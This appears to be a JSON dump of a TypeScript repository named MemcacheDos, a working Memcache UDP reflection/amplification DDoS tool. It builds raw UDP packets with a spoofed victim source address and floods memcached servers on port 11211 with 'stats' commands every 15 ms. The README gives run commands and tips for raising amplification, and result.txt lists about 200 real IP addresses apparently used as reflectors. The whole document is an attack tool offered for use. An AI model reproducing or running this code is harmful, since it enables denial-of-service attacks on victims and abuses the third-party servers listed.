[
  {
    "path": ".gitignore",
    "content": "# Logs\nlogs\n*.log\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n\n# Runtime data\npids\n*.pid\n*.seed\n*.pid.lock\n\n# Directory for instrumented libs generated by jscoverage/JSCover\nlib-cov\n\n# Coverage directory used by tools like istanbul\ncoverage\n\n# nyc test coverage\n.nyc_output\n\n# Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)\n.grunt\n\n# Bower dependency directory (https://bower.io/)\nbower_components\n\n# node-waf configuration\n.lock-wscript\n\n# Compiled binary addons (https://nodejs.org/api/addons.html)\nbuild/Release\n\n# Dependency directories\nnode_modules/\njspm_packages/\n\n# Typescript v1 declaration files\ntypings/\n\n# Optional npm cache directory\n.npm\n\n# Optional eslint cache\n.eslintcache\n\n# Optional REPL history\n.node_repl_history\n\n# Output of 'npm pack'\n*.tgz\n\n# Yarn Integrity file\n.yarn-integrity\n\n# dotenv environment variables file\n.env\n\n# next.js build output\n.next\n\nmemcache.js\nchinaip.txt\nlist.js\nlocal.js\nscan.js"
  },
  {
    "path": "PacketUtils.ts",
    "content": "export default {\n    isBroadCast: function (bufs): boolean {\n        for (var i = 0; i < 6; i++) {\n            if (bufs[i] != 0xff) {\n                return false;\n            }\n        }\n        return true;\n    },\n\n    isARP: function (bufs): boolean {\n        return bufs[12] == 0x08 && bufs[13] == 0x06\n    },\n\n    isIPv4: function (bufs): boolean {\n        return bufs[12] === 0x08 && bufs[13] === 0x00;\n    },\n\n    isTCP: function (bufs): boolean {\n        return bufs[23] === 0x06;\n    },\n\n    isIGMP: function (bufs): boolean {\n        return bufs[23] === 0x02;\n    },\n\n    inetAddr: function (ip) {\n        var nip = ip.split(\".\").map(function (item) {\n            return parseInt(item);\n        })\n        var bufs = Buffer.from(nip);\n        return bufs.readUInt32LE(0);\n    },\n\n    inetNtoa: function (number) {\n        var bufs = new Buffer(4);\n        bufs.writeUInt32BE(number, 0);\n        return `${bufs[3].toString(10)}.${bufs[2].toString(10)}.${bufs[1].toString(10)}.${bufs[0].toString(10)}`;\n    },\n\n\n    stringToIpAddress: function (ip): Buffer {\n        var nip = ip.split(\".\").map(function (item) {\n            return parseInt(item);\n        })\n        return Buffer.from(nip);\n    },\n\n    ipAddressToString: function (bufs) {\n        return `${bufs[0].toString(10)}.${bufs[1].toString(10)}.${bufs[2].toString(10)}.${bufs[3].toString(10)}`;\n    }\n}\n"
  },
  {
    "path": "PacketsStruct.ts",
    "content": "export enum EthernetType {\n    ARP,\n    IPv4,\n    IPv6,\n}\n\nexport interface BasePacket {\n    sourceAddress?: Buffer,\n    destinaltionAddress?: Buffer,\n    type?: EthernetType,\n}\n\nexport interface ArpPacket extends BasePacket {\n    hardwareType: Buffer,\n    protocolType: Buffer,\n    hardwareSize: Buffer,\n    protocalSize: Buffer,\n    opCode: Buffer,\n    senderMacAddress: Buffer,\n    senderIpAdress: Buffer,\n    targetMacAddress: Buffer,\n    targetIpAddeess: Buffer,\n}\n\nexport enum IpProtocol {\n    IPv6HopByHop = 0,\n    ICMPv4 = 1,\n    IGMP = 2,\n    IPv4 = 4,\n    TCP = 6,\n    UDP = 17,\n    RUDP = 27,\n    IPv6 = 41,\n    IPv6Routing = 43,\n    IPv6Fragment = 44,\n    GRE = 47,\n    ESP = 50,\n    AH = 51,\n    ICMPv6 = 58,\n    NoNextHeader = 59,\n    IPv6Destination = 60,\n    IPIP = 94,\n    EtherIP = 97,\n    SCTP = 132,\n    UDPLite = 136,\n    MPLSInIP = 137,\n    IPv4_PSEUDO_LENGTH = 12\n}\n\nexport interface IpPacket extends BasePacket {\n    version?: number,\n    ipHeaderLength?: number,\n    TOS?: number,\n    totalLength?: number,\n    identification?: number,\n    flags?: number,\n    fragOffset?: number,\n    TTL?: number,\n    protocol?: IpProtocol,\n    checksum?: number,\n    sourceIp?: Buffer,\n    destinationIp?: Buffer\n}\n\nexport interface TcpPacket extends IpPacket {\n    sourcePort?: number,\n    destinationPort?: number,\n    sequenceNumber?: number,\n    acknowledgmentNumber?: number,\n    tcpHeaderLength?: number,\n    FIN?: boolean,\n    SYN?: boolean,\n    RST?: boolean,\n    PSH?: boolean,\n    ACK?: boolean,\n    URG?: boolean,\n    ECE?: boolean,\n    CWR?: boolean,\n    NS?: boolean,\n    window?: number,\n    checksum?: number,\n    urgent?: number,\n    options?: Buffer,\n    payload?: Buffer,\n}\n\nexport interface UdpPacket extends IpPacket {\n    sourcePort?: number,\n    destinationPort?: number,\n    totalLength: number,\n    payload: Buffer\n}"
  },
  {
    "path": "README.md",
    "content": "# MemcacheDos\nMemcache 反射攻击.\n\n# 如何使用\n```\ngit clone https://github.com/Srar/MemcacheDos.git\ncd MemcacheDos\nnpm install\n./node_modules/.bin/ts-node main.ts --list result.txt --ip 1.1.1.1 --port 80\n```\n\n# Q&A\n* 测试平台\n  > CentOS7, nodejs v6.12.3 yum安装\n* `npm install`安装`raw-socket`时出现错误\n  > 使用`npm install --unsafe` \n* 反射无效果\n  > 机房已经拦截了伪造IP的数据包\n* 反射倍率\n  > 目前反射倍率60倍. 可以自行先`set`一段较大的数据, 再使用此数据来反射, 据说倍率可以到4w倍.\n\n> 全部issues不作回答.\n\n# 相关新闻\n* [Memcrashed - Major amplification attacks from UDP port 11211](https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/)\n* [利用 Memcache 作为 DRDoS 反射放大器进行 DDoS 攻击](https://cert.360.cn/warning/detail?id=c63eb87058834e37c7c112c35ef5f9fd)\n"
  },
  {
    "path": "RawUdp.ts",
    "content": "import * as raw from \"raw-socket\"\nimport UdpPacketFormatter from \"./formatter/UdpPacketFormatter\"\n\nexport default class RawUdp {\n\n    private socket: any;\n\n    constructor() {\n        this.socket = raw.createSocket({\n            protocol: raw.Protocol.UDP\n        });\n        this.socket.setOption(raw.SocketLevel.IPPROTO_IP, raw.SocketOption.IP_HDRINCL, new Buffer([0x00, 0x00, 0x00, 0x01]), 4);\n    }\n\n    send(sourceIP: Buffer, sourcePort: number, targetIP: Buffer, targetPort: number, data: Buffer): Promise<number> {\n        return new Promise(function (reslove, reject) {\n            var buffer = UdpPacketFormatter.build({\n                version: 4,\n                TTL: 64,\n                protocol: 17,\n                sourceIp: sourceIP,\n                destinationIp: targetIP,\n                sourcePort: sourcePort,\n                destinationPort: targetPort,\n                totalLength: 28 + data.length,\n                identification: 13858,\n                TOS: 0,\n                flags: 0,\n                payload: data\n            });\n\n            this.socket.send(buffer, 0, buffer.length, \"1.1.1.1\", function (error, bytes) {\n                error ? reject(error) : reslove(bytes);\n            });\n        }.bind(this))\n    }\n}"
  },
  {
    "path": "formatter/IpPacketFormatter.ts",
    "content": "import {\n    BasePacket,\n    IpPacket,\n    TcpPacket,\n    UdpPacket,\n} from \"../PacketsStruct\"\nimport PacketUtils from \"../PacketUtils\"\n\nexport default class IpPacketFormatter {\n\n    static build(obj: IpPacket): Buffer {\n        // unsupport ipv6 address.\n        var ipPacketBuffer: Buffer = Buffer.allocUnsafe(20);\n        ipPacketBuffer[0] = (obj.version << 4) | (20 / 4);\n        ipPacketBuffer[1] = obj.TOS;\n        // set ip packet total length.\n        ipPacketBuffer.writeUInt16BE(obj.totalLength, 2);\n        try {\n            ipPacketBuffer.writeUInt16BE(obj.identification, 4);\n        } catch (error) {\n            console.log(obj.identification);\n        }\n        ipPacketBuffer.writeUInt16BE(obj.identification, 4);\n        // flags\n        ipPacketBuffer[6] = obj.flags == undefined ? 0x40 : obj.flags;\n        // fragOffset\n        ipPacketBuffer[7] = 0x00\n        // time to live.\n        ipPacketBuffer[8] = obj.TTL;\n        ipPacketBuffer[9] = obj.protocol;\n        // for computing checksum.\n        ipPacketBuffer.writeUInt16BE(0, 10);\n        obj.sourceIp.copy(ipPacketBuffer, 12);\n        obj.destinationIp.copy(ipPacketBuffer, 16);\n        ipPacketBuffer.writeUInt16BE(IpPacketFormatter.checksum(ipPacketBuffer), 10);\n        return ipPacketBuffer;\n    }\n\n    // from https://stackoverflow.com/questions/8269693/crc-checking-done-automatically-on-tcp-ip\n    static checksum(bufs): number {\n        var length: number = bufs.length;\n        var i: number = 0;\n        var sum: number = 0;\n        var data: number;\n\n        // Handle all pairs\n        while (length > 1) {\n            // Corrected to include @Andy's edits and various comments on Stack Overflow\n            data = (((bufs[i] << 8) & 0xFF00) | ((bufs[i + 1]) & 0xFF));\n            sum += data;\n            // 1's complement carry bit correction in 16-bits (detecting sign extension)\n            if ((sum & 0xFFFF0000) > 0) {\n                sum = sum & 0xFFFF;\n                sum += 1;\n            }\n            i += 2;\n            length -= 2;\n        }\n\n        // Handle remaining byte in odd length buffers\n        if (length > 0) {\n            // Corrected to include @Andy's edits and various comments on Stack Overflow\n            sum += (bufs[i] << 8 & 0xFF00);\n            // 1's complement carry bit correction in 16-bits (detecting sign extension)\n            if ((sum & 0xFFFF0000) > 0) {\n                sum = sum & 0xFFFF;\n                sum += 1;\n            }\n        }\n        // Final 1's complement value correction to 16-bits\n        sum = ~sum;\n        sum = sum & 0xFFFF;\n        return sum;\n    }\n}\n"
  },
  {
    "path": "formatter/UdpPacketFormatter.ts",
    "content": "import {\n    BasePacket,\n    IpPacket,\n    TcpPacket,\n    UdpPacket,\n} from \"../PacketsStruct\"\nimport PacketUtils from \"../PacketUtils\"\n\nimport IpPacketFormatter from \"./IpPacketFormatter\"\n\nexport default class UdpPacketFormatter extends IpPacketFormatter {\n\n    static build(obj: UdpPacket): Buffer {\n        var udpPacketBuffer = Buffer.allocUnsafe(8);\n        udpPacketBuffer.writeUInt16BE(obj.sourcePort, 0);\n        udpPacketBuffer.writeUInt16BE(obj.destinationPort, 2);\n        udpPacketBuffer.writeUInt16BE(udpPacketBuffer.length + obj.payload.length, 4);\n        udpPacketBuffer.writeUInt16BE(0, 6);\n        udpPacketBuffer = Buffer.concat([udpPacketBuffer, obj.payload]);\n\n        var udpPacketTotalLength = Buffer.allocUnsafe(2);\n        udpPacketTotalLength.writeUInt16BE(udpPacketBuffer.length, 0);\n\n        udpPacketBuffer.writeUInt16BE(super.checksum(\n            Buffer.concat([\n                obj.sourceIp, obj.destinationIp,\n                new Buffer([0x00, obj.protocol]),\n                udpPacketTotalLength,\n                udpPacketBuffer\n            ])\n        ), 6);\n\n        return Buffer.concat([\n            super.build(obj),\n            udpPacketBuffer\n        ]);\n    }\n\n}\n"
  },
  {
    "path": "main.ts",
    "content": "\nimport * as fs from \"fs\"\nimport PacketUtils from \"./PacketUtils\"\nimport RawUdp from \"./RawUdp\"\n\nconst argv = require(\"optimist\")\n    .usage(\"Usage: $0 --list [memcache server list file] --ip [target ip] --port [target port]\")\n    .demand([\"list\", \"ip\", \"port\"])\n    .argv;\n\nfunction attack() {\n    var command = Buffer.from(\"stats\\r\\nstats\\r\\nstats\\r\\nstats items\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\nstats\\r\\n\");\n    var buffer = new Buffer(8);\n\n    buffer.writeUInt16BE(0, 0);\n    buffer.writeUInt16BE(0, 2);\n    buffer.writeUInt16BE(1, 4);\n    buffer.writeUInt16BE(0, 6);\n\n    buffer = Buffer.concat([buffer, command]);\n\n    var rawUdp = new RawUdp();\n\n    return function (sourceIP: string, sourcePort: number, targetIP: string, targetPort: number) {\n        var sip = PacketUtils.stringToIpAddress(sourceIP);\n        var dip = PacketUtils.stringToIpAddress(targetIP);\n        rawUdp.send(sip, sourcePort, dip, targetPort, buffer);\n    }\n}\n\nvar sendAttackPacket = attack();\nvar list = fs.readFileSync(argv.list).toString().split(\"\\n\");\n\nfunction loop() {\n    for (const ip of list) {\n        sendAttackPacket(argv.ip, argv.port, ip, 11211)\n    }\n    setTimeout(loop, 15);\n}\nloop();"
  },
  {
    "path": "package.json",
    "content": "{\n  \"name\": \"rawsocks\",\n  \"version\": \"1.0.0\",\n  \"description\": \"\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"test\": \"echo \\\"Error: no test specified\\\" && exit 1\"\n  },\n  \"keywords\": [],\n  \"author\": \"\",\n  \"license\": \"ISC\",\n  \"dependencies\": {\n    \"@types/node\": \"^9.4.6\",\n    \"optimist\": \"^0.6.1\",\n    \"raw-socket\": \"^1.5.2\",\n    \"ts-node\": \"^5.0.0\",\n    \"typescript\": \"^2.7.2\"\n  }\n}\n"
  },
  {
    "path": "result.txt",
    "content": "1.85.30.138\n1.25.201.226\n1.30.233.82\n1.202.176.102\n14.17.86.46\n14.23.100.197\n1.60.17.28\n14.18.154.27\n14.17.88.47\n1.195.29.15\n1.192.90.228\n1.196.143.203\n14.152.92.27\n14.115.185.163\n46.31.44.199\n1.119.44.99\n14.125.99.128\n14.157.104.191\n14.152.92.26\n14.152.78.151\n14.215.112.54\n14.105.38.237\n14.105.38.237\n27.156.68.230\n27.115.89.150\n14.215.113.57\n27.154.238.54\n14.215.113.182\n27.115.41.165\n27.154.59.58\n27.154.34.34\n27.22.104.75:10784\n27.152.221.80\n27.152.221.80\n27.17.49.146:2177\n14.215.225.236\n14.204.74.6\n14.204.200.149\n36.33.1.78\n112.29.174.205\n27.191.150.105\n59.56.110.217\n36.110.10.2\n117.27.151.226\n39.106.123.12\n39.107.109.230\n42.121.4.205\n39.106.251.186\n39.106.251.186\n39.107.32.47\n39.106.112.187\n39.107.102.70\n39.106.254.182\n39.106.254.182\n39.106.154.21\n39.107.116.178\n39.107.12.240\n39.107.60.151\n39.107.60.151\n39.106.223.156\n39.106.223.156\n39.108.68.224\n39.107.155.113\n42.120.48.59\n39.106.73.250\n39.108.69.40\n39.108.84.187\n39.108.194.233\n39.108.195.10\n39.108.195.10\n39.108.195.219\n39.108.12.240\n39.108.141.167\n39.104.108.136\n39.108.163.113\n39.108.136.167\n39.108.7.16\n39.108.120.159\n42.121.7.98\n39.108.245.50\n39.108.93.147\n39.108.58.142\n39.108.8.223\n39.108.7.119\n39.82.25.99\n39.108.55.232\n39.108.219.154\n39.108.64.242\n39.108.221.176\n39.104.79.117\n42.120.22.232\n36.7.69.18\n42.121.236.117\n42.121.5.26\n39.108.193.71\n39.108.215.53\n39.104.56.143\n42.62.90.146\n117.25.143.114\n42.121.2.131\n42.121.1.166\n42.62.2.73\n42.120.4.67\n42.62.109.141\n39.108.64.19\n39.108.107.194\n39.106.213.51\n39.106.54.195\n39.106.41.187\n39.107.80.101\n39.106.196.169\n42.121.125.149\n39.106.216.173\n42.121.58.100\n42.96.139.80\n39.106.31.53\n42.96.171.1\n39.107.58.197\n39.107.58.197\n42.120.17.238\n39.80.139.64\n42.96.193.241\n42.51.29.155\n42.121.123.209\n42.51.239.2\n39.104.78.84\n42.51.206.185\n42.96.206.18\n42.121.96.52\n42.121.123.199\n42.96.190.92\n39.108.188.105\n42.121.19.219\n42.121.120.128\n39.108.195.25\n42.96.196.117\n42.121.6.118\n42.51.41.156\n39.108.244.204\n42.121.192.136\n42.121.35.68\n39.108.50.44\n42.51.33.180\n39.108.132.202\n39.108.65.36\n39.108.112.90\n40.125.162.234\n39.108.165.218\n39.108.103.105\n39.108.162.149\n39.108.115.80\n42.62.5.6\n39.108.126.195\n39.108.12.247\n39.108.69.249\n39.108.51.109\n39.108.63.83\n39.108.8.178\n42.96.199.157\n39.108.81.11\n39.108.50.144\n39.108.6.26\n42.51.215.8\n42.51.201.110\n42.123.84.42\n39.108.65.185\n42.51.201.244\n42.121.123.129\n42.96.135.97\n42.96.152.253\n42.51.44.250\n42.51.215.8\n42.96.167.212\n42.121.57.69\n42.121.105.77\n42.121.67.135\n42.51.16.21\n42.96.139.120\n42.96.196.31\n42.62.25.75\n42.62.112.76\n42.96.177.100\n218.60.56.53\n42.51.130.20\n42.51.201.109\n42.121.111.127\n42.123.125.135\n42.51.42.146\n42.51.205.126\n36.189.239.121\n42.202.130.244\n42.120.7.26\n42.121.17.163\n42.120.7.203\n42.121.192.88\n42.121.65.17\n14.23.151.195"
  }
]